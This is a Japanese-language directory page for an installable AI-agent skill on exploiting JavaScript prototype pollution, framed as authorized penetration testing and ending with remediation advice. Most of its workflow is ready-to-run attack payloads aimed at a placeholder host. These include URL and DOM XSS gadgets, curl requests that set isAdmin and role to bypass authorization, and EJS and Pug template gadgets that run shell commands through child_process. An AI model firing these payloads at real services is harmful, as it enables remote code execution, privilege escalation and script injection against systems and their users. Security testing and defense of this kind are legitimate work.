mcpField
E
exploiting-prototype-pollution-in-javascript

exploiting-prototype-pollution-in-javascript

github.com/mukul975セキュリティ35.2k227 回インストール8 週間前に更新
リポジトリ

exploiting-prototype-pollution-in-javascript について

WebアプリケーションやNode.jsサービスにおけるJavaScriptのプロトタイプ汚染を発見・評価するセキュリティテストスキルです。許可を得たテスト担当者向けに、汚染源の特定、クライアント側とサーバー側の影響確認、自動検出の手順を示します。

主な機能

  1. 01汚染源の特定
  2. 02サーバー側入力のテスト
  3. 03DOM XSSガジェットの評価
  4. 04サーバー側への影響確認
  5. 05自動検出ツールの利用

活用シーン

  1. 01ディープマージAPIエンドポイントのレビュー
  2. 02ブラウザフレームワークのDOM XSSテスト
  3. 03npmパッケージのガジェット監査
  4. 04認可と入力検証のリスク確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-prototype-pollution-in-javascript

インストール後、Claude Code で/exploiting-prototype-pollution-in-javascriptを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

JavaScriptにおけるプロトタイプ汚染の悪用

使用する場面

  • Node.jsまたはJavaScriptを多用するWebアプリケーションをテストするとき
  • 深くマージされたJSONオブジェクトを受け付けるAPIを評価するとき
  • プロトタイプ汚染によるDOM XSSを対象に、クライアント側のJavaScriptフレームワークをテストするとき
  • オブジェクトのマージ/クローン/拡張処理をコードレビューするとき
  • プロトタイプ汚染のガジェットがないか、npmパッケージを評価するとき

前提条件

  • クライアント側のプロトタイプ汚染を検出するためのDOM Invader拡張機能を備えたBurp Suite
  • サーバー側のテスト用Node.js開発環境
  • JavaScriptのプロトタイプチェーンとオブジェクト継承に関する理解
  • 一般的な汚染ガジェット(ソース、シンク、悪用可能なプロパティ)に関する知識
  • サーバー側の検出用Prototype Pollution Gadgets Scanner Burp拡張機能
  • クライアント側でプロトタイプを操作するためのブラウザー開発者コンソール

法的通知: このスキルは、許可を得たセキュリティテストおよび教育目的に限って使用してください。自分が所有していないシステム、またはテストの許可を書面で得ていないシステムに対する無許可の使用は違法であり、コンピューター不正利用に関する法律に違反する可能性があります。

ワークフロー

ステップ 1 — プロトタイプ汚染のソースを特定する
// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true

// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed

// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value

// Hash fragment pollution:
// http://target.com/#__proto__[key]=value
ステップ 2 — サーバー側のプロトタイプ汚染をテストする
# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true}}'

# Test via constructor.prototype
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# Test for status code reflection (detection technique)
# Pollute status property to detect server-side pollution
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"status": 510}}'
# If response returns 510, server-side pollution confirmed

# JSON content type pollution
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
ステップ 3 — クライアント側でDOM XSSを悪用する
// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink

// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>

// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//

// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG

// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks
ステップ 4 — サーバー側でRCEを悪用する
# Node.js child_process gadget (RCE)
# If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'

# EJS template engine gadget
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'

# Handlebars template gadget
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'

# Pug template engine gadget
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
ステップ 5 — 認証および認可のバイパスを悪用する
# Pollute isAdmin or role property
curl -X POST http://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true, "role": "admin"}}'

# Pollute auth-related properties
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"verified": true, "emailVerified": true}}'

# Bypass JSON schema validation
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"additionalProperties": true}}'
ステップ 6 — 自動化ツールで検出する
# Use ppfuzz for automated detection
ppfuzz -l urls.txt -o results.txt

# Nuclei templates for prototype pollution
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml

# Server-side detection with Burp Scanner
# Enable "Server-side prototype pollution" scan check
# Review issues in Burp Dashboard

# Manual detection via timing/error-based techniques
# Pollute a property that causes detectable server behavior change
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"toString": "polluted"}}'
# If server errors (500), pollution is working

主要な概念

概念説明
プロトタイプチェーンオブジェクトがObject.prototypeから継承するJavaScriptの継承機構
protoオブジェクトのプロトタイプを公開するアクセサープロパティ
汚染ソースObject.prototypeのプロパティを設定できる入力箇所
汚染シンク汚染されたプロパティを読み取り、危険な操作を実行するコード
ガジェットプロトタイプから危険なシンクへ流れるプロパティ(ソースからシンクまでの連鎖)
ディープマージ__proto__を通常のキーとして処理する可能性がある再帰的なオブジェクトマージ関数
constructor.prototypeプロトタイプオブジェクトにアクセスして汚染する別の経路

ツールとシステム

ツール目的
DOM Invaderクライアント側のプロトタイプ汚染を検出するBurp Suite組み込みツール
Prototype Pollution Gadgets Scannerサーバー側のガジェット検出用Burp拡張機能
ppfuzzプロトタイプ汚染を自動的にファジングするツール
Nucleiプロトタイプ汚染のテンプレートを備えたテンプレートベースのスキャナー
server-side-prototype-pollutionサーバー側検出用のBurp Scannerチェック
ESLint security pluginコード内のプロトタイプ汚染パターンを対象とした静的解析

よくあるシナリオ

  1. 分析機能を介したDOM XSS — プロトタイプからURLを読み取る分析トラッキングスクリプトを介してJavaScriptを注入するため、transport_urlプロパティを汚染します
  2. テンプレートエンジンを介したRCE — EJS/Pug/Handlebarsのガジェットを悪用し、汚染されたテンプレートレンダリングプロパティを介して任意のコマンドを実行します
  3. 管理者権限の昇格 — isAdminまたはroleプロパティを汚染し、Node.jsアプリケーションの認可チェックをバイパスします
  4. JSON Schemaのバイパス — スキーマ検証プロパティを汚染し、入力検証をバイパスして悪意のあるデータを注入します
  5. サービス拒否 — toStringまたはvalueOfを汚染し、オブジェクトがプリミティブ値に変換される際にアプリケーションをクラッシュさせます

出力形式

## Prototype Pollution Assessment Report
- **Target**: http://target.com
- **Type**: Server-Side Prototype Pollution
- **Impact**: Remote Code Execution via EJS template gadget

### Findings
| # | Source | Gadget | Sink | Impact |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | Template render | RCE |
| 2 | POST /api/profile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |
| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |

### Remediation
- Use Object.create(null) for configuration objects instead of {}
- Freeze Object.prototype with Object.freeze(Object.prototype)
- Sanitize __proto__ and constructor keys in user input
- Use Map instead of plain objects for user-controlled data
- Update vulnerable npm packages (lodash, merge-deep, etc.)

コメント